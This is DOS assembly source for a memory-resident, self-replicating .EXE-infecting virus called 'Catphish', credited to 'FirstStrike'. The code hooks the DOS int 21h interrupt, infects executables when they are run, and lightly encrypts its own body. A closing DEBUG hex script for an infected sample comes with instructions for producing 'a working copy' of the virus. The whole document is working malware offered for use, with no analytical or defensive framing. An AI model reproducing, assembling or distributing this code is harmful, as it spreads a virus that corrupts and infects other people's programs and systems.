v_name   db '[Catphish]',0                        ; Virus name.
v_author db 'FirstStrike',0                       ; Me.
v_stuff  db 'Kraft!',0


fix_fault:
          add dx,1d
  
execont:
          push ax      
          mov cl, 9    
          shr ax, cl   
          ror dx, cl   
          stc          
                       
          adc dx, ax   
          pop ax       
          and ah, 1    
          
  
          mov word ptr [buffer+4-100h], dx        ; Fix-up the file size in
          mov word ptr [buffer+2-100h], ax        ; the EXE header.
     
          pop bx
          retn                                    ; Leave subroutine

;----------------------------------------------------------------------------


check_if_resident:
        push es
        xor ax,ax 
        mov es,ax

        cmp word ptr es:[63h*4],0040h             ; Check to see if virus
        jnz grab_da_vectors                       ;   is already resident
        jmp exit_normal                           ;   by looking for a 40h
                                                  ;   signature in the int 63h
                                                  ;   offset section of 
                                                  ;   interrupt table.

grab_da_vectors:

        mov ax,3521h                              ; Store original int 21h
        int 21h                                   ;   vector pointer.
        mov word ptr cs:[bp+dos_vector-100h],bx
        mov word ptr cs:[bp+dos_vector+2-100h],es



load_high:
        push ds

find_chain:                                       ; Load high routine that
                                                  ;   uses the DOS internal
     mov ah,52h                                   ;   table function to find
     int 21h                                      ;   start of MCB and then
                                                  ;   scales up chain to
     mov ds,es: word ptr [bx-2]                   ;   find top. (The code
     assume ds:nothing                            ;   is long, but it is the 
                                                  ;   only code that would
     xor si,si                                    ;   work when an infected
                                                  ;   .EXE was to be loaded 
Middle_check:                                     ;   into memory.
     
     cmp byte ptr ds:[0],'M'
     jne Check4last

add_one:
     mov ax,ds
     add ax,ds:[3]
     inc ax

     mov ds,ax
     jmp Middle_check

Check4last:
     cmp byte ptr ds:[0],'Z'
     jne Error
     mov byte ptr ds:[0],'M'
     sub word ptr ds:[3],(endcode-start+15h)/16h+1
     jmp add_one

error:
     mov byte ptr ds:[0],'Z'
     mov word ptr ds:[1],008h
     mov word ptr ds:[3],(endcode-start+15h)/16h+1

     push ds
     pop ax
     inc ax
     push ax
     pop es





move_virus_loop:
        mov bx,offset start-100h                  ; Move virus into carved
        add bx,bp                                 ;   out location in memory.
        mov cx,endcode-start
        push bp
        mov bp,0000h

move_it:
        mov dl, byte ptr cs:[bx]
        mov byte ptr es:[bp],dl
        inc bp
        inc bx
        loop move_it
        pop bp



hook_vectors:

        mov ax,2563h                              ; Hook the int 21h vector
        mov dx,0040h                              ;   which means it will
        int 21h                                   ;   point to virus code in
                                                  ;   memory.
        mov ax,2521h
        mov dx,offset virus_attack-100h
        push es
        pop ds
        int 21h




        pop ds



exit_normal:                                      ; Return control to 
        pop es                                    ;   infected .EXE
        mov ax, es                                ;   (Dark Angle code.)
        add ax, 10h 
        add word ptr cs:[bp+OrigCSIP+2-100h], ax 
                                         
        cli
        add ax, word ptr cs:[bp+OrigSSSP+2-100h] 
        mov ss, ax
        mov sp, word ptr cs:[bp+OrigSSSP-100h]
        sti

        xor ax,ax
        xor bp,bp

endcrypt  label  byte        

        db 0eah                          
OrigCSIP dd 0fff00000h
OrigSSSP dd ?                    

exe_attrib dw ?
date_stamp dw ?
time_stamp dw ?



dos_vector dd ?                                   

buffer db 18h dup(?)                              ; .EXE header buffer.




;----------------------------------------------------------------------------


virus_attack proc  far
               assume cs:code,ds:nothing, es:nothing

        
        cmp ax,4b00h                              ; Infect only on file
        jz run_kill                               ;   executions.

leave_virus:
        jmp dword ptr cs:[dos_vector-100h]                                



run_kill:
        call infectexe
        jmp leave_virus





infectexe:                                        ; Same old working horse
        push ax                                   ;   routine that infects
        push bx                                   ;   the selected file.
        push cx
        push es
        push dx
        push ds
 
        

        mov cx,64d
        mov bx,dx

findname:
        cmp byte ptr ds:[bx],'.'
        jz o_k
        inc bx
        loop findname

pre_get_out:
        jmp get_out

o_k:
        cmp byte ptr ds:[bx+1],'E'                ; Searches for victims.
        jnz pre_get_out
        cmp byte ptr ds:[bx+2],'X'
        jnz pre_get_out
        cmp byte ptr ds:[bx+3],'E'
        jnz pre_get_out
       



getexe:
        mov ax,4300h
        call dosit

        mov word ptr cs:[exe_attrib-100h],cx

        mov ax,4301h
        xor cx,cx
        call dosit

exe_kill:
        mov ax,3d02h
        call dosit
        xchg bx,ax
        
        mov ax,5700h
        call dosit

        mov word ptr cs:[time_stamp-100h],cx
        mov word ptr cs:[date_stamp-100h],dx



        push cs
        pop ds

        mov ah,3fh
        mov cx,18h
        mov dx,offset buffer-100h
        call dosit

        cmp word ptr cs:[buffer+12h-100h],1993h   ; Looks for virus marker
        jnz infectforsure                         ;   of 1993h in .EXE 
        jmp close_it                              ;   header checksum 
                                                  ;   position.
infectforsure:
        call move_f_ptrfar

        push ax
        push dx


        call store_header

        pop dx
        pop ax

        call infect_header


        push bx
        push cx
        push dx
        

        mov bx,offset infect_header-100h
        mov cx,(endcrypt)-(infect_header)

rol_em:                                           ; Encryption via 
        mov dl,byte ptr cs:[bx]                   ;   rotating left.
        rol dl,1                                    
        mov byte ptr cs:[bx],dl
        inc bx
        loop rol_em

        pop dx
        pop cx
        pop bx

        mov ah,40h
        mov cx,endcode-start
        mov dx,offset start-100h
        call dosit


        mov word ptr cs:[buffer+12h-100h],1993h


        call move_f_ptrclose

        mov ah,40h
        mov cx,18h
        mov dx,offset buffer-100h
        call dosit

        mov ax,5701h
        mov cx,word ptr cs:[time_stamp-100h]
        mov dx,word ptr cs:[date_stamp-100h]
        call dosit

close_it:


        mov ah,3eh
        call dosit

get_out:


        pop ds
        pop dx

set_attrib:
        mov ax,4301h
        mov cx,word ptr cs:[exe_attrib-100h]
        call dosit


        pop es
        pop cx
        pop bx
        pop ax

        retn
        
;---------------------------------- Call to DOS int 21h ---------------------

dosit:                                            ; DOS function call code.
        pushf
        call dword ptr cs:[dos_vector-100h]
        retn

;----------------------------------------------------------------------------
                                                                            









;-------------------------------- Store Header -----------------------------
 
store_header:
        les  ax, dword ptr [buffer+14h-100h]      ; Save old entry point
        mov  word ptr [OrigCSIP-100h], ax
        mov  word ptr [OrigCSIP+2-100h], es
  
        les  ax, dword ptr [buffer+0Eh-100h]      ; Save old stack
        mov  word ptr [OrigSSSP-100h], es
        mov  word ptr [OrigSSSP+2-100h], ax

        retn

;---------------------------------------------------------------------------






;---------------------------------- Set file pointer ------------------------

move_f_ptrfar:                                    ; Code to move file pointer.
        mov ax,4202h
        jmp short move_f

move_f_ptrclose:
        mov ax,4200h

move_f:
        xor dx,dx
        xor cx,cx
        call dosit
        retn

;----------------------------------------------------------------------------


endcode         label       byte

endp

code ends
end  start   


>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

              Below is a sample file that is already infected.
            Just cut out code and run through debug. Next rename 
            DUMMY.FIL to DUMMY.EXE and you have a working copy of
            your very own Catphish virus.


N DUMMY.FIL
E 0100 4D 5A 93 00 06 00 00 00 20 00 00 00 FF FF 5E 00 
E 0110 00 A0 93 19 0D 00 5E 00 3E 00 00 00 01 00 FB 30 
E 0120 6A 72 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0160 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0190 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 01A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 01B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 01C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 01D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 01E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 01F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0200 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0230 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0240 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0250 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0270 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0280 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0290 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 02A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 02B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 02C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 02D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 02E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 02F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0300 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0310 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0320 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0330 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0340 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0350 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0360 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0370 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0380 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0390 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 03A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 03B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 03C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 03D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 03E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 03F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0400 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0410 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0420 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0430 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0440 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0450 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0460 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0470 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0480 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0490 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 04A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 04B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 04C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 04D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 04E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 04F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0500 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 0510 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 0520 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 0530 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 0540 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 0550 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 0560 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 0570 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 0580 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 0590 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 05A0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 05B0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 05C0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 05D0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 05E0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 05F0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 0600 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 0610 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 0620 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 0630 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 0640 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 0650 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 0660 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 0670 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 0680 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 0690 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 06A0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 06B0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 06C0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 06D0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 06E0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 06F0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 0700 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 0710 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 0720 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 0730 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 0740 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 0750 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 0760 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 0770 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 0780 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 0790 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 07A0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 07B0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 07C0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 07D0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 07E0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 07F0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 0800 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 0810 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 0820 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 0830 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 0840 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 0850 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 0860 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 0870 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 0880 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 0890 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 08A0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 08B0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 08C0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 08D0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 08E0 90 90 90 90 90 90 90 90 B8 00 4C CD 21 E8 00 00 
E 08F0 5D 81 ED 03 00 90 90 90 BB 21 00 03 DD B9 41 01 
E 0900 2E 8A 17 D0 CA 2E 88 17 43 E2 F5 E9 93 00 A6 A4 
E 0910 A0 17 3C FA 02 63 08 A7 C7 56 87 07 B5 00 73 20 
E 0920 00 EF E3 13 2C 13 02 47 17 02 47 07 02 8F 0C 0B 
E 0930 02 00 41 B0 B4 0A 4D 04 7A 4D 04 E4 94 D7 96 21 
E 0940 86 E4 F2 40 90 C2 EC DE C6 58 40 C2 DC C8 40 D8 
E 0950 CA E8 40 E6 D8 D2 E0 40 E8 D0 CA 40 88 DE CE E6 
E 0960 40 DE CC 40 AE C2 E4 42 00 B6 86 C2 E8 E0 D0 D2 
E 0970 E6 D0 BA 00 8C D2 E4 E6 E8 A6 E8 E4 D2 D6 CA 00 
E 0980 96 E4 C2 CC E8 42 00 07 85 02 A0 63 12 A7 D1 A7 
E 0990 95 F3 26 A1 B0 01 C9 02 13 2C F2 02 47 EE 02 B6 
E 09A0 87 0C 66 81 1D 81 4C 07 7C 19 02 80 EA 06 D3 03 
E 09B0 00 71 42 6A 9B 42 5C 13 3D E2 02 5C 19 0D E6 02 
E 09C0 3C 69 A4 9B 42 4C 1D BE FD 66 ED 01 7C 00 00 9A 
E 09D0 EA 16 19 B1 06 0C 06 00 80 1D B1 D7 DD 01 7C 00 
E 09E0 00 B4 EA 1A 8D 0C 00 00 9A 07 5C 06 00 40 21 D7 
E 09F0 C3 8D 0C 00 00 B4 8F 0C 02 00 10 00 8F 0C 06 00 
E 0A00 40 00 3C B0 80 A0 0E 77 00 00 06 BB 73 4D 04 AA 
E 0A10 7B 00 00 5C 15 2E 4C 11 AC 00 8A 86 C5 EB BA 71 
E 0A20 C6 4A 75 80 00 9B 42 71 42 4A 75 1B 02 0C 3E 9B 
E 0A30 42 3E 0E 19 81 0A 20 00 5C 02 0D CA 02 F5 5C 06 
E 0A40 0D D2 02 1D A1 5C 17 4D CE 02 F7 66 81 66 DB EA 
E 0A50 00 01 10 00 00 01 00 00 20 00 97 19 5A 0B 92 14 
E 0A60 1D 07 4D 5A 93 00 06 00 00 00 20 00 00 00 FF FF 
E 0A70 5E 00 00 A0 00 00 0D 00 5E 00 3D 00 4B 74 05 2E 
E 0A80 FF 2E 71 01 E8 02 00 EB F6 50 53 51 06 52 1E B9 
E 0A90 40 00 8B DA 80 3F 2E 74 06 43 E2 F8 E9 AE 00 80 
E 0AA0 7F 01 45 75 F7 80 7F 02 58 75 F1 80 7F 03 45 75 
E 0AB0 EB B8 00 43 E8 A8 00 2E 89 0E 6B 01 B8 01 43 33 
E 0AC0 C9 E8 9B 00 B8 02 3D E8 95 00 93 B8 00 57 E8 8E 
E 0AD0 00 2E 89 0E 6F 01 2E 89 16 6D 01 0E 1F B4 3F B9 
E 0AE0 18 00 BA 75 01 E8 77 00 2E 81 3E 87 01 93 19 75 
E 0AF0 03 EB 55 90 E8 8C 00 50 52 E8 6A 00 5A 58 E8 0D 
E 0B00 FE 53 51 52 BB 21 00 B9 41 01 2E 8A 17 D0 C2 2E 
E 0B10 88 17 43 E2 F5 5A 59 5B B4 40 B9 A6 02 BA 00 00 
E 0B20 E8 3C 00 2E C7 06 87 01 93 19 E8 5B 00 B4 40 B9 
E 0B30 18 00 BA 75 01 E8 27 00 B8 01 57 2E 8B 0E 6F 01 
E 0B40 2E 8B 16 6D 01 E8 17 00 B4 3E E8 12 00 1F 5A B8 
E 0B50 01 43 2E 8B 0E 6B 01 E8 05 00 07 59 5B 58 C3 9C 
E 0B60 2E FF 1E 71 01 C3 2E C4 06 89 01 2E A3 63 01 2E 
E 0B70 8C 06 65 01 2E C4 06 83 01 2E 8C 06 67 01 2E A3 
E 0B80 69 01 C3 B8 02 42 EB 03 B8 00 42 33 D2 33 C9 E8 
E 0B90 CD FF C3 
RCX
0A93
W
Q


                             -+- FirstStrike -+-
